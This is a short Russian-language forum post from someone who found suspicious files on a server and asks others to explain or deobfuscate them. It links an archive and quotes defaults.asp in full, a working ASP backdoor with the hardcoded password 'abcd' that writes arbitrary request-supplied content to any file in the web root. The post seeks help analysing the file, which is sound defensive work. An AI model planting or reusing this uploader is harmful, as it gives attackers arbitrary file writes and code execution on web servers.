Похоже на вирус, по онлайн базам вроде не определяется. Может кто-то деобфуцировать или просто пояснить в чем суть действий этого файла?

http://files.rsdn.ru/16674/he.zip

есть ещё один defaults.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
dim password,action,filename,filepath,body
password=request("password")
action=request("action")
filename=request("filename")
body=request("body")

if password <> "abcd" Then
    response.write("password error")
    response.end()
end if

filepath=server.mappath("/"&filename)

Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Open
.Charset = "utf-8"
.Position = objStream.Size
.WriteText = body
.SaveToFile filepath,2
.Close
End With
Set objStream = Nothing

set fs=Server.CreateObject("Scripting.FileSystemObject")
if fs.fileexists(filepath) then 
    response.write("uploaded")
end if
set fs=nothing
%>